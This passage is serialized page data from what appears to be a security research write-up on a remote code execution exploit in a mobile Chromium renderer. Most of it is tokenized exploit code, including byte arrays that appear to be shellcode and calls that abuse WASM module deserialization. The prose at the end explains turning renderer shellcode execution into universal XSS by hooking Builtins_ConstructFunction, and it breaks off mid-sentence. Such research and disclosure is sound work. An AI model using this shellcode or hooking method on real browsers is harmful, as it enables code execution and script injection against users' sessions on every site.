29,"value":611},{"type":23,"tag":75,"props":148601,"children":148602},{"style":237},[148603],{"type":29,"value":648},{"type":23,"tag":75,"props":148605,"children":148606},{"style":94},[148607],{"type":29,"value":611},{"type":23,"tag":75,"props":148609,"children":148610},{"style":237},[148611],{"type":29,"value":648},{"type":23,"tag":75,"props":148613,"children":148614},{"style":94},[148615],{"type":29,"value":611},{"type":23,"tag":75,"props":148617,"children":148618},{"style":237},[148619],{"type":29,"value":648},{"type":23,"tag":75,"props":148621,"children":148622},{"style":94},[148623],{"type":29,"value":611},{"type":23,"tag":75,"props":148625,"children":148626},{"style":237},[148627],{"type":29,"value":648},{"type":23,"tag":75,"props":148629,"children":148630},{"style":94},[148631],{"type":29,"value":611},{"type":23,"tag":75,"props":148633,"children":148634},{"style":237},[148635],{"type":29,"value":648},{"type":23,"tag":75,"props":148637,"children":148638},{"style":94},[148639],{"type":29,"value":611},{"type":23,"tag":75,"props":148641,"children":148642},{"style":237},[148643],{"type":29,"value":648},{"type":23,"tag":75,"props":148645,"children":148646},{"style":94},[148647],{"type":29,"value":611},{"type":23,"tag":75,"props":148649,"children":148650},{"style":237},[148651],{"type":29,"value":648},{"type":23,"tag":75,"props":148653,"children":148654},{"style":94},[148655],{"type":29,"value":611},{"type":23,"tag":75,"props":148657,"children":148658},{"style":237},[148659],{"type":29,"value":648},{"type":23,"tag":75,"props":148661,"children":148662},{"style":94},[148663],{"type":29,"value":611},{"type":23,"tag":75,"props":148665,"children":148666},{"style":237},[148667],{"type":29,"value":648},{"type":23,"tag":75,"props":148669,"children":148670},{"style":94},[148671],{"type":29,"value":611},{"type":23,"tag":75,"props":148673,"children":148674},{"style":237},[148675],{"type":29,"value":648},{"type":23,"tag":75,"props":148677,"children":148678},{"style":94},[148679],{"type":29,"value":611},{"type":23,"tag":75,"props":148681,"children":148682},{"style":237},[148683],{"type":29,"value":40619},{"type":23,"tag":75,"props":148685,"children":148686},{"style":94},[148687],{"type":29,"value":611},{"type":23,"tag":75,"props":148689,"children":148690},{"style":237},[148691],{"type":29,"value":648},{"type":23,"tag":75,"props":148693,"children":148694},{"style":94},[148695],{"type":29,"value":611},{"type":23,"tag":75,"props":148697,"children":148698},{"style":237},[148699],{"type":29,"value":648},{"type":23,"tag":75,"props":148701,"children":148702},{"style":94},[148703],{"type":29,"value":611},{"type":23,"tag":75,"props":148705,"children":148706},{"style":237},[148707],{"type":29,"value":648},{"type":23,"tag":75,"props":148709,"children":148710},{"style":94},[148711],{"type":29,"value":611},{"type":23,"tag":75,"props":148713,"children":148714},{"style":237},[148715],{"type":29,"value":648},{"type":23,"tag":75,"props":148717,"children":148718},{"style":94},[148719],{"type":29,"value":611},{"type":23,"tag":75,"props":148721,"children":148722},{"style":237},[148723],{"type":29,"value":648},{"type":23,"tag":75,"props":148725,"children":148726},{"style":94},[148727],{"type":29,"value":611},{"type":23,"tag":75,"props":148729,"children":148730},{"style":237},[148731],{"type":29,"value":648},{"type":23,"tag":75,"props":148733,"children":148734},{"style":94},[148735],{"type":29,"value":611},{"type":23,"tag":75,"props":148737,"children":148738},{"style":237},[148739],{"type":29,"value":648},{"type":23,"tag":75,"props":148741,"children":148742},{"style":94},[148743],{"type":29,"value":611},{"type":23,"tag":75,"props":148745,"children":148746},{"style":237},[148747],{"type":29,"value":648},{"type":23,"tag":75,"props":148749,"children":148750},{"style":94},[148751],{"type":29,"value":611},{"type":23,"tag":75,"props":148753,"children":148754},{"style":237},[148755],{"type":29,"value":648},{"type":23,"tag":75,"props":148757,"children":148758},{"style":94},[148759],{"type":29,"value":611},{"type":23,"tag":75,"props":148761,"children":148762},{"style":237},[148763],{"type":29,"value":648},{"type":23,"tag":75,"props":148765,"children":148766},{"style":94},[148767],{"type":29,"value":611},{"type":23,"tag":75,"props":148769,"children":148770},{"style":237},[148771],{"type":29,"value":648},{"type":23,"tag":75,"props":148773,"children":148774},{"style":94},[148775],{"type":29,"value":611},{"type":23,"tag":75,"props":148777,"children":148778},{"style":237},[148779],{"type":29,"value":648},{"type":23,"tag":75,"props":148781,"children":148782},{"style":94},[148783],{"type":29,"value":118},{"type":23,"tag":75,"props":148785,"children":148786},{"class":77,"line":279},[148787,148791,148795,148799,148803,148807,148811,148815,148819,148823,148827,148831,148835,148839,148843,148847,148851,148855,148859,148863,148867,148871,148875,148879,148883,148887,148891,148895,148899,148903,148907,148911,148915,148920,148924,148929,148933,148937,148941,148946,148950,148954,148958,148962,148966,148970,148974,148979,148983,148987,148991,148996,149000,149004],{"type":23,"tag":75,"props":148788,"children":148789},{"style":237},[148790],{"type":29,"value":144532},{"type":23,"tag":75,"props":148792,"children":148793},{"style":94},[148794],{"type":29,"value":611},{"type":23,"tag":75,"props":148796,"children":148797},{"style":237},[148798],{"type":29,"value":648},{"type":23,"tag":75,"props":148800,"children":148801},{"style":94},[148802],{"type":29,"value":611},{"type":23,"tag":75,"props":148804,"children":148805},{"style":237},[148806],{"type":29,"value":648},{"type":23,"tag":75,"props":148808,"children":148809},{"style":94},[148810],{"type":29,"value":611},{"type":23,"tag":75,"props":148812,"children":148813},{"style":237},[148814],{"type":29,"value":648},{"type":23,"tag":75,"props":148816,"children":148817},{"style":94},[148818],{"type":29,"value":611},{"type":23,"tag":75,"props":148820,"children":148821},{"style":237},[148822],{"type":29,"value":648},{"type":23,"tag":75,"props":148824,"children":148825},{"style":94},[148826],{"type":29,"value":611},{"type":23,"tag":75,"props":148828,"children":148829},{"style":237},[148830],{"type":29,"value":648},{"type":23,"tag":75,"props":148832,"children":148833},{"style":94},[148834],{"type":29,"value":611},{"type":23,"tag":75,"props":148836,"children":148837},{"style":237},[148838],{"type":29,"value":648},{"type":23,"tag":75,"props":148840,"children":148841},{"style":94},[148842],{"type":29,"value":611},{"type":23,"tag":75,"props":148844,"children":148845},{"style":237},[148846],{"type":29,"value":648},{"type":23,"tag":75,"props":148848,"children":148849},{"style":94},[148850],{"type":29,"value":611},{"type":23,"tag":75,"props":148852,"children":148853},{"style":237},[148854],{"type":29,"value":648},{"type":23,"tag":75,"props":148856,"children":148857},{"style":94},[148858],{"type":29,"value":611},{"type":23,"tag":75,"props":148860,"children":148861},{"style":237},[148862],{"type":29,"value":648},{"type":23,"tag":75,"props":148864,"children":148865},{"style":94},[148866],{"type":29,"value":611},{"type":23,"tag":75,"props":148868,"children":148869},{"style":237},[148870],{"type":29,"value":648},{"type":23,"tag":75,"props":148872,"children":148873},{"style":94},[148874],{"type":29,"value":611},{"type":23,"tag":75,"props":148876,"children":148877},{"style":237},[148878],{"type":29,"value":648},{"type":23,"tag":75,"props":148880,"children":148881},{"style":94},[148882],{"type":29,"value":611},{"type":23,"tag":75,"props":148884,"children":148885},{"style":237},[148886],{"type":29,"value":648},{"type":23,"tag":75,"props":148888,"children":148889},{"style":94},[148890],{"type":29,"value":611},{"type":23,"tag":75,"props":148892,"children":148893},{"style":237},[148894],{"type":29,"value":648},{"type":23,"tag":75,"props":148896,"children":148897},{"style":94},[148898],{"type":29,"value":611},{"type":23,"tag":75,"props":148900,"children":148901},{"style":237},[148902],{"type":29,"value":648},{"type":23,"tag":75,"props":148904,"children":148905},{"style":94},[148906],{"type":29,"value":611},{"type":23,"tag":75,"props":148908,"children":148909},{"style":237},[148910],{"type":29,"value":14409},{"type":23,"tag":75,"props":148912,"children":148913},{"style":94},[148914],{"type":29,"value":611},{"type":23,"tag":75,"props":148916,"children":148917},{"style":237},[148918],{"type":29,"value":148919},"95",{"type":23,"tag":75,"props":148921,"children":148922},{"style":94},[148923],{"type":29,"value":611},{"type":23,"tag":75,"props":148925,"children":148926},{"style":237},[148927],{"type":29,"value":148928},"36",{"type":23,"tag":75,"props":148930,"children":148931},{"style":94},[148932],{"type":29,"value":611},{"type":23,"tag":75,"props":148934,"children":148935},{"style":237},[148936],{"type":29,"value":28518},{"type":23,"tag":75,"props":148938,"children":148939},{"style":94},[148940],{"type":29,"value":611},{"type":23,"tag":75,"props":148942,"children":148943},{"style":237},[148944],{"type":29,"value":148945},"213",{"type":23,"tag":75,"props":148947,"children":148948},{"style":94},[148949],{"type":29,"value":611},{"type":23,"tag":75,"props":148951,"children":148952},{"style":237},[148953],{"type":29,"value":52037},{"type":23,"tag":75,"props":148955,"children":148956},{"style":94},[148957],{"type":29,"value":611},{"type":23,"tag":75,"props":148959,"children":148960},{"style":237},[148961],{"type":29,"value":7867},{"type":23,"tag":75,"props":148963,"children":148964},{"style":94},[148965],{"type":29,"value":611},{"type":23,"tag":75,"props":148967,"children":148968},{"style":237},[148969],{"type":29,"value":41043},{"type":23,"tag":75,"props":148971,"children":148972},{"style":94},[148973],{"type":29,"value":611},{"type":23,"tag":75,"props":148975,"children":148976},{"style":237},[148977],{"type":29,"value":148978},"210",{"type":23,"tag":75,"props":148980,"children":148981},{"style":94},[148982],{"type":29,"value":611},{"type":23,"tag":75,"props":148984,"children":148985},{"style":237},[148986],{"type":29,"value":144925},{"type":23,"tag":75,"props":148988,"children":148989},{"style":94},[148990],{"type":29,"value":611},{"type":23,"tag":75,"props":148992,"children":148993},{"style":237},[148994],{"type":29,"value":148995},"35",{"type":23,"tag":75,"props":148997,"children":148998},{"style":94},[148999],{"type":29,"value":611},{"type":23,"tag":75,"props":149001,"children":149002},{"style":237},[149003],{"type":29,"value":28518},{"type":23,"tag":75,"props":149005,"children":149006},{"style":94},[149007],{"type":29,"value":118},{"type":23,"tag":75,"props":149009,"children":149010},{"class":77,"line":303},[149011,149016,149020,149025,149029,149034,149038,149043,149047,149052,149056,149061,149065,149070,149074,149078,149082,149086,149090,149094,149098,149102,149106,149110,149114,149119,149123,149128,149132,149136,149140,149144,149148,149152,149156,149160,149164,149168,149172,149177,149181,149186],{"type":23,"tag":75,"props":149012,"children":149013},{"style":237},[149014],{"type":29,"value":149015},"    213",{"type":23,"tag":75,"props":149017,"children":149018},{"style":94},[149019],{"type":29,"value":611},{"type":23,"tag":75,"props":149021,"children":149022},{"style":237},[149023],{"type":29,"value":149024},"231",{"type":23,"tag":75,"props":149026,"children":149027},{"style":94},[149028],{"type":29,"value":611},{"type":23,"tag":75,"props":149030,"children":149031},{"style":237},[149032],{"type":29,"value":149033},"67",{"type":23,"tag":75,"props":149035,"children":149036},{"style":94},[149037],{"type":29,"value":611},{"type":23,"tag":75,"props":149039,"children":149040},{"style":237},[149041],{"type":29,"value":149042},"190",{"type":23,"tag":75,"props":149044,"children":149045},{"style":94},[149046],{"type":29,"value":611},{"type":23,"tag":75,"props":149048,"children":149049},{"style":237},[149050],{"type":29,"value":149051},"169",{"type":23,"tag":75,"props":149053,"children":149054},{"style":94},[149055],{"type":29,"value":611},{"type":23,"tag":75,"props":149057,"children":149058},{"style":237},[149059],{"type":29,"value":149060},"253",{"type":23,"tag":75,"props":149062,"children":149063},{"style":94},[149064],{"type":29,"value":611},{"type":23,"tag":75,"props":149066,"children":149067},{"style":237},[149068],{"type":29,"value":149069},"123",{"type":23,"tag":75,"props":149071,"children":149072},{"style":94},[149073],{"type":29,"value":611},{"type":23,"tag":75,"props":149075,"children":149076},{"style":237},[149077],{"type":29,"value":7867},{"type":23,"tag":75,"props":149079,"children":149080},{"style":94},[149081],{"type":29,"value":611},{"type":23,"tag":75,"props":149083,"children":149084},{"style":237},[149085],{"type":29,"value":149051},{"type":23,"tag":75,"props":149087,"children":149088},{"style":94},[149089],{"type":29,"value":611},{"type":23,"tag":75,"props":149091,"children":149092},{"style":237},[149093],{"type":29,"value":149060},{"type":23,"tag":75,"props":149095,"children":149096},{"style":94},[149097],{"type":29,"value":611},{"type":23,"tag":75,"props":149099,"children":149100},{"style":237},[149101],{"type":29,"value":149033},{"type":23,"tag":75,"props":149103,"children":149104},{"style":94},[149105],{"type":29,"value":611},{"type":23,"tag":75,"props":149107,"children":149108},{"style":237},[149109],{"type":29,"value":648},{"type":23,"tag":75,"props":149111,"children":149112},{"style":94},[149113],{"type":29,"value":611},{"type":23,"tag":75,"props":149115,"children":149116},{"style":237},[149117],{"type":29,"value":149118},"145",{"type":23,"tag":75,"props":149120,"children":149121},{"style":94},[149122],{"type":29,"value":611},{"type":23,"tag":75,"props":149124,"children":149125},{"style":237},[149126],{"type":29,"value":149127},"191",{"type":23,"tag":75,"props":149129,"children":149130},{"style":94},[149131],{"type":29,"value":611},{"type":23,"tag":75,"props":149133,"children":149134},{"style":237},[149135],{"type":29,"value":28518},{"type":23,"tag":75,"props":149137,"children":149138},{"style":94},[149139],{"type":29,"value":611},{"type":23,"tag":75,"props":149141,"children":149142},{"style":237},[149143],{"type":29,"value":648},{"type":23,"tag":75,"props":149145,"children":149146},{"style":94},[149147],{"type":29,"value":611},{"type":23,"tag":75,"props":149149,"children":149150},{"style":237},[149151],{"type":29,"value":149118},{"type":23,"tag":75,"props":149153,"children":149154},{"style":94},[149155],{"type":29,"value":611},{"type":23,"tag":75,"props":149157,"children":149158},{"style":237},[149159],{"type":29,"value":149060},{"type":23,"tag":75,"props":149161,"children":149162},{"style":94},[149163],{"type":29,"value":611},{"type":23,"tag":75,"props":149165,"children":149166},{"style":237},[149167],{"type":29,"value":149069},{"type":23,"tag":75,"props":149169,"children":149170},{"style":94},[149171],{"type":29,"value":611},{"type":23,"tag":75,"props":149173,"children":149174},{"style":237},[149175],{"type":29,"value":149176},"193",{"type":23,"tag":75,"props":149178,"children":149179},{"style":94},[149180],{"type":29,"value":611},{"type":23,"tag":75,"props":149182,"children":149183},{"style":237},[149184],{"type":29,"value":149185},"168",{"type":23,"tag":75,"props":149187,"children":149188},{"style":94},[149189],{"type":29,"value":118},{"type":23,"tag":75,"props":149191,"children":149192},{"class":77,"line":322},[149193,149198,149202,149206,149210,149214,149218,149222,149226,149230,149234,149238,149242,149246,149250,149255,149259,149263,149267,149271,149275,149279,149283,149287,149291,149295,149299,149303,149307,149311,149315,149319,149323,149327,149331,149335,149339,149343,149347,149351,149355,149359,149363,149367,149371,149375,149379,149383,149387,149391,149395,149399,149403,149407],{"type":23,"tag":75,"props":149194,"children":149195},{"style":237},[149196],{"type":29,"value":149197},"    255",{"type":23,"tag":75,"props":149199,"children":149200},{"style":94},[149201],{"type":29,"value":611},{"type":23,"tag":75,"props":149203,"children":149204},{"style":237},[149205],{"type":29,"value":148995},{"type":23,"tag":75,"props":149207,"children":149208},{"style":94},[149209],{"type":29,"value":611},{"type":23,"tag":75,"props":149211,"children":149212},{"style":237},[149213],{"type":29,"value":28518},{"type":23,"tag":75,"props":149215,"children":149216},{"style":94},[149217],{"type":29,"value":611},{"type":23,"tag":75,"props":149219,"children":149220},{"style":237},[149221],{"type":29,"value":148945},{"type":23,"tag":75,"props":149223,"children":149224},{"style":94},[149225],{"type":29,"value":611},{"type":23,"tag":75,"props":149227,"children":149228},{"style":237},[149229],{"type":29,"value":144880},{"type":23,"tag":75,"props":149231,"children":149232},{"style":94},[149233],{"type":29,"value":611},{"type":23,"tag":75,"props":149235,"children":149236},{"style":237},[149237],{"type":29,"value":28518},{"type":23,"tag":75,"props":149239,"children":149240},{"style":94},[149241],{"type":29,"value":611},{"type":23,"tag":75,"props":149243,"children":149244},{"style":237},[149245],{"type":29,"value":148919},{"type":23,"tag":75,"props":149247,"children":149248},{"style":94},[149249],{"type":29,"value":611},{"type":23,"tag":75,"props":149251,"children":149252},{"style":237},[149253],{"type":29,"value":149254},"214",{"type":23,"tag":75,"props":149256,"children":149257},{"style":94},[149258],{"type":29,"value":611},{"type":23,"tag":75,"props":149260,"children":149261},{"style":237},[149262],{"type":29,"value":107002},{"type":23,"tag":75,"props":149264,"children":149265},{"style":94},[149266],{"type":29,"value":611},{"type":23,"tag":75,"props":149268,"children":149269},{"style":237},[149270],{"type":29,"value":71528},{"type":23,"tag":75,"props":149272,"children":149273},{"style":94},[149274],{"type":29,"value":611},{"type":23,"tag":75,"props":149276,"children":149277},{"style":237},[149278],{"type":29,"value":28518},{"type":23,"tag":75,"props":149280,"children":149281},{"style":94},[149282],{"type":29,"value":611},{"type":23,"tag":75,"props":149284,"children":149285},{"style":237},[149286],{"type":29,"value":148945},{"type":23,"tag":75,"props":149288,"children":149289},{"style":94},[149290],{"type":29,"value":611},{"type":23,"tag":75,"props":149292,"children":149293},{"style":237},[149294],{"type":29,"value":28751},{"type":23,"tag":75,"props":149296,"children":149297},{"style":94},[149298],{"type":29,"value":611},{"type":23,"tag":75,"props":149300,"children":149301},{"style":237},[149302],{"type":29,"value":648},{"type":23,"tag":75,"props":149304,"children":149305},{"style":94},[149306],{"type":29,"value":611},{"type":23,"tag":75,"props":149308,"children":149309},{"style":237},[149310],{"type":29,"value":648},{"type":23,"tag":75,"props":149312,"children":149313},{"style":94},[149314],{"type":29,"value":611},{"type":23,"tag":75,"props":149316,"children":149317},{"style":237},[149318],{"type":29,"value":648},{"type":23,"tag":75,"props":149320,"children":149321},{"style":94},[149322],{"type":29,"value":611},{"type":23,"tag":75,"props":149324,"children":149325},{"style":237},[149326],{"type":29,"value":648},{"type":23,"tag":75,"props":149328,"children":149329},{"style":94},[149330],{"type":29,"value":611},{"type":23,"tag":75,"props":149332,"children":149333},{"style":237},[149334],{"type":29,"value":648},{"type":23,"tag":75,"props":149336,"children":149337},{"style":94},[149338],{"type":29,"value":611},{"type":23,"tag":75,"props":149340,"children":149341},{"style":237},[149342],{"type":29,"value":648},{"type":23,"tag":75,"props":149344,"children":149345},{"style":94},[149346],{"type":29,"value":611},{"type":23,"tag":75,"props":149348,"children":149349},{"style":237},[149350],{"type":29,"value":648},{"type":23,"tag":75,"props":149352,"children":149353},{"style":94},[149354],{"type":29,"value":611},{"type":23,"tag":75,"props":149356,"children":149357},{"style":237},[149358],{"type":29,"value":648},{"type":23,"tag":75,"props":149360,"children":149361},{"style":94},[149362],{"type":29,"value":611},{"type":23,"tag":75,"props":149364,"children":149365},{"style":237},[149366],{"type":29,"value":28751},{"type":23,"tag":75,"props":149368,"children":149369},{"style":94},[149370],{"type":29,"value":611},{"type":23,"tag":75,"props":149372,"children":149373},{"style":237},[149374],{"type":29,"value":648},{"type":23,"tag":75,"props":149376,"children":149377},{"style":94},[149378],{"type":29,"value":611},{"type":23,"tag":75,"props":149380,"children":149381},{"style":237},[149382],{"type":29,"value":648},{"type":23,"tag":75,"props":149384,"children":149385},{"style":94},[149386],{"type":29,"value":611},{"type":23,"tag":75,"props":149388,"children":149389},{"style":237},[149390],{"type":29,"value":648},{"type":23,"tag":75,"props":149392,"children":149393},{"style":94},[149394],{"type":29,"value":611},{"type":23,"tag":75,"props":149396,"children":149397},{"style":237},[149398],{"type":29,"value":648},{"type":23,"tag":75,"props":149400,"children":149401},{"style":94},[149402],{"type":29,"value":611},{"type":23,"tag":75,"props":149404,"children":149405},{"style":237},[149406],{"type":29,"value":648},{"type":23,"tag":75,"props":149408,"children":149409},{"style":94},[149410],{"type":29,"value":118},{"type":23,"tag":75,"props":149412,"children":149413},{"class":77,"line":340},[149414,149418,149422,149426,149430,149434,149438,149442,149446,149450,149454,149459,149463,149468,149472,149477,149481,149485],{"type":23,"tag":75,"props":149415,"children":149416},{"style":237},[149417],{"type":29,"value":144532},{"type":23,"tag":75,"props":149419,"children":149420},{"style":94},[149421],{"type":29,"value":611},{"type":23,"tag":75,"props":149423,"children":149424},{"style":237},[149425],{"type":29,"value":648},{"type":23,"tag":75,"props":149427,"children":149428},{"style":94},[149429],{"type":29,"value":611},{"type":23,"tag":75,"props":149431,"children":149432},{"style":237},[149433],{"type":29,"value":648},{"type":23,"tag":75,"props":149435,"children":149436},{"style":94},[149437],{"type":29,"value":611},{"type":23,"tag":75,"props":149439,"children":149440},{"style":237},[149441],{"type":29,"value":648},{"type":23,"tag":75,"props":149443,"children":149444},{"style":94},[149445],{"type":29,"value":611},{"type":23,"tag":75,"props":149447,"children":149448},{"style":237},[149449],{"type":29,"value":648},{"type":23,"tag":75,"props":149451,"children":149452},{"style":94},[149453],{"type":29,"value":611},{"type":23,"tag":75,"props":149455,"children":149456},{"style":237},[149457],{"type":29,"value":149458},"92",{"type":23,"tag":75,"props":149460,"children":149461},{"style":94},[149462],{"type":29,"value":611},{"type":23,"tag":75,"props":149464,"children":149465},{"style":237},[149466],{"type":29,"value":149467},"50",{"type":23,"tag":75,"props":149469,"children":149470},{"style":94},[149471],{"type":29,"value":611},{"type":23,"tag":75,"props":149473,"children":149474},{"style":237},[149475],{"type":29,"value":149476},"162",{"type":23,"tag":75,"props":149478,"children":149479},{"style":94},[149480],{"type":29,"value":611},{"type":23,"tag":75,"props":149482,"children":149483},{"style":237},[149484],{"type":29,"value":648},{"type":23,"tag":75,"props":149486,"children":149487},{"style":94},[149488],{"type":29,"value":118},{"type":23,"tag":75,"props":149490,"children":149491},{"class":77,"line":349},[149492],{"type":23,"tag":75,"props":149493,"children":149494},{"style":94},[149495],{"type":29,"value":144819},{"type":23,"tag":75,"props":149497,"children":149498},{"class":77,"line":363},[149499,149503,149507,149511,149515,149519,149523,149527,149531,149535,149539],{"type":23,"tag":75,"props":149500,"children":149501},{"style":82},[149502],{"type":29,"value":19114},{"type":23,"tag":75,"props":149504,"children":149505},{"style":110},[149506],{"type":29,"value":146272},{"type":23,"tag":75,"props":149508,"children":149509},{"style":209},[149510],{"type":29,"value":1193},{"type":23,"tag":75,"props":149512,"children":149513},{"style":88},[149514],{"type":29,"value":146281},{"type":23,"tag":75,"props":149516,"children":149517},{"style":94},[149518],{"type":29,"value":643},{"type":23,"tag":75,"props":149520,"children":149521},{"style":110},[149522],{"type":29,"value":144150},{"type":23,"tag":75,"props":149524,"children":149525},{"style":94},[149526],{"type":29,"value":611},{"type":23,"tag":75,"props":149528,"children":149529},{"style":110},[149530],{"type":29,"value":135477},{"type":23,"tag":75,"props":149532,"children":149533},{"style":94},[149534],{"type":29,"value":557},{"type":23,"tag":75,"props":149536,"children":149537},{"style":110},[149538],{"type":29,"value":135477},{"type":23,"tag":75,"props":149540,"children":149541},{"style":94},[149542],{"type":29,"value":15099},{"type":23,"tag":75,"props":149544,"children":149545},{"class":77,"line":656},[149546,149550,149554,149558,149562,149566,149570,149574,149578,149582],{"type":23,"tag":75,"props":149547,"children":149548},{"style":110},[149549],{"type":29,"value":146317},{"type":23,"tag":75,"props":149551,"children":149552},{"style":209},[149553],{"type":29,"value":1193},{"type":23,"tag":75,"props":149555,"children":149556},{"style":94},[149557],{"type":29,"value":183},{"type":23,"tag":75,"props":149559,"children":149560},{"style":175},[149561],{"type":29,"value":44109},{"type":23,"tag":75,"props":149563,"children":149564},{"style":110},[149565],{"type":29,"value":146272},{"type":23,"tag":75,"props":149567,"children":149568},{"style":94},[149569],{"type":29,"value":557},{"type":23,"tag":75,"props":149571,"children":149572},{"style":88},[149573],{"type":29,"value":68749},{"type":23,"tag":75,"props":149575,"children":149576},{"style":94},[149577],{"type":29,"value":146346},{"type":23,"tag":75,"props":149579,"children":149580},{"style":110},[149581],{"type":29,"value":1672},{"type":23,"tag":75,"props":149583,"children":149584},{"style":94},[149585],{"type":29,"value":245},{"type":23,"tag":75,"props":149587,"children":149588},{"class":77,"line":705},[149589,149593,149597,149601,149605,149610,149614,149618],{"type":23,"tag":75,"props":149590,"children":149591},{"style":110},[149592],{"type":29,"value":112279},{"type":23,"tag":75,"props":149594,"children":149595},{"style":94},[149596],{"type":29,"value":557},{"type":23,"tag":75,"props":149598,"children":149599},{"style":88},[149600],{"type":29,"value":112288},{"type":23,"tag":75,"props":149602,"children":149603},{"style":94},[149604],{"type":29,"value":643},{"type":23,"tag":75,"props":149606,"children":149607},{"style":1266},[149608],{"type":29,"value":149609},"'DeserializeWasmModule result: '",{"type":23,"tag":75,"props":149611,"children":149612},{"style":209},[149613],{"type":29,"value":20160},{"type":23,"tag":75,"props":149615,"children":149616},{"style":110},[149617],{"type":29,"value":1241},{"type":23,"tag":75,"props":149619,"children":149620},{"style":94},[149621],{"type":29,"value":15099},{"type":23,"tag":75,"props":149623,"children":149624},{"class":77,"line":787},[149625,149629,149633,149637,149641,149645,149649,149653,149657,149661],{"type":23,"tag":75,"props":149626,"children":149627},{"style":82},[149628],{"type":29,"value":47380},{"type":23,"tag":75,"props":149630,"children":149631},{"style":110},[149632],{"type":29,"value":146366},{"type":23,"tag":75,"props":149634,"children":149635},{"style":209},[149636],{"type":29,"value":1193},{"type":23,"tag":75,"props":149638,"children":149639},{"style":82},[149640],{"type":29,"value":43128},{"type":23,"tag":75,"props":149642,"children":149643},{"style":110},[149644],{"type":29,"value":144133},{"type":23,"tag":75,"props":149646,"children":149647},{"style":94},[149648],{"type":29,"value":557},{"type":23,"tag":75,"props":149650,"children":149651},{"style":88},[149652],{"type":29,"value":144187},{"type":23,"tag":75,"props":149654,"children":149655},{"style":94},[149656],{"type":29,"value":643},{"type":23,"tag":75,"props":149658,"children":149659},{"style":110},[149660],{"type":29,"value":1342},{"type":23,"tag":75,"props":149662,"children":149663},{"style":94},[149664],{"type":29,"value":15099},{"type":23,"tag":75,"props":149666,"children":149667},{"class":77,"line":826},[149668,149672,149676,149680,149684,149688,149692,149696,149700],{"type":23,"tag":75,"props":149669,"children":149670},{"style":82},[149671],{"type":29,"value":47380},{"type":23,"tag":75,"props":149673,"children":149674},{"style":110},[149675],{"type":29,"value":44164},{"type":23,"tag":75,"props":149677,"children":149678},{"style":209},[149679],{"type":29,"value":1193},{"type":23,"tag":75,"props":149681,"children":149682},{"style":110},[149683],{"type":29,"value":146366},{"type":23,"tag":75,"props":149685,"children":149686},{"style":94},[149687],{"type":29,"value":557},{"type":23,"tag":75,"props":149689,"children":149690},{"style":110},[149691],{"type":29,"value":49077},{"type":23,"tag":75,"props":149693,"children":149694},{"style":94},[149695],{"type":29,"value":557},{"type":23,"tag":75,"props":149697,"children":149698},{"style":110},[149699],{"type":29,"value":144236},{"type":23,"tag":75,"props":149701,"children":149702},{"style":94},[149703],{"type":29,"value":245},{"type":23,"tag":75,"props":149705,"children":149706},{"class":77,"line":834},[149707,149711,149715,149719,149723,149727],{"type":23,"tag":75,"props":149708,"children":149709},{"style":110},[149710],{"type":29,"value":112279},{"type":23,"tag":75,"props":149712,"children":149713},{"style":94},[149714],{"type":29,"value":557},{"type":23,"tag":75,"props":149716,"children":149717},{"style":88},[149718],{"type":29,"value":112288},{"type":23,"tag":75,"props":149720,"children":149721},{"style":94},[149722],{"type":29,"value":643},{"type":23,"tag":75,"props":149724,"children":149725},{"style":110},[149726],{"type":29,"value":44278},{"type":23,"tag":75,"props":149728,"children":149729},{"style":94},[149730],{"type":29,"value":15099},{"type":23,"tag":75,"props":149732,"children":149733},{"class":77,"line":881},[149734],{"type":23,"tag":75,"props":149735,"children":149736},{"style":94},[149737],{"type":29,"value":112320},{"type":23,"tag":32,"props":149739,"children":149740},{},[149741],{"type":29,"value":149742},"And this time, it works as expected:",{"type":23,"tag":32,"props":149744,"children":149745},{},[149746],{"type":23,"tag":15189,"props":149747,"children":149750},{"alt":149748,"src":149749},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":923,"props":149752,"children":149754},{"id":149753},"achieving-universal-xss",[149755],{"type":29,"value":149756},"Achieving Universal XSS",{"type":23,"tag":32,"props":149758,"children":149759},{},[149760,149762,149768,149770,149777],{"type":29,"value":149761},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":940,"props":149763,"children":149766},{"href":149764,"rel":149765},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[944],[149767],{"type":29,"value":81503},{"type":29,"value":149769}," from Tencent Security and ",{"type":23,"tag":940,"props":149771,"children":149774},{"href":149772,"rel":149773},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[944],[149775],{"type":29,"value":149776},"research article",{"type":29,"value":149778}," from InterruptLabs.",{"type":23,"tag":32,"props":149780,"children":149781},{},[149782,149784,149791],{"type":29,"value":149783},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":940,"props":149785,"children":149788},{"href":149786,"rel":149787},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[944],[149789],{"type":29,"value":149790},"weaker version",{"type":29,"value":149792}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":32,"props":149794,"children":149795},{},[149796,149798,149804],{"type":29,"value":149797},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":71,"props":149799,"children":149801},{"className":149800},[],[149802],{"type":29,"value":149803},"Builtins_ConstructFunction",{"type":29,"value":149805},", making it a natural target.",{"type":23,"tag":32,"props":149807,"children":149808},{},[149809,149811,149816],{"type":29,"value":149810},"Our goal is for ",{"type":23,"tag":71,"props":149812,"children":149814},{"className":149813},[],[149815],{"type":29,"value":149803},{"type":29,"value":149817}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":27910,"props":149819,"children":149820},{},[149821,149826,149836],{"type":23,"tag":2801,"props":149822,"children":149823},{},[149824],{"type":29,"value":149825},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":2801,"props":149827,"children":149828},{},[149829,149831],{"type":29,"value":149830},"After finishing, the mmap-ed shellcode restores the original instructions in 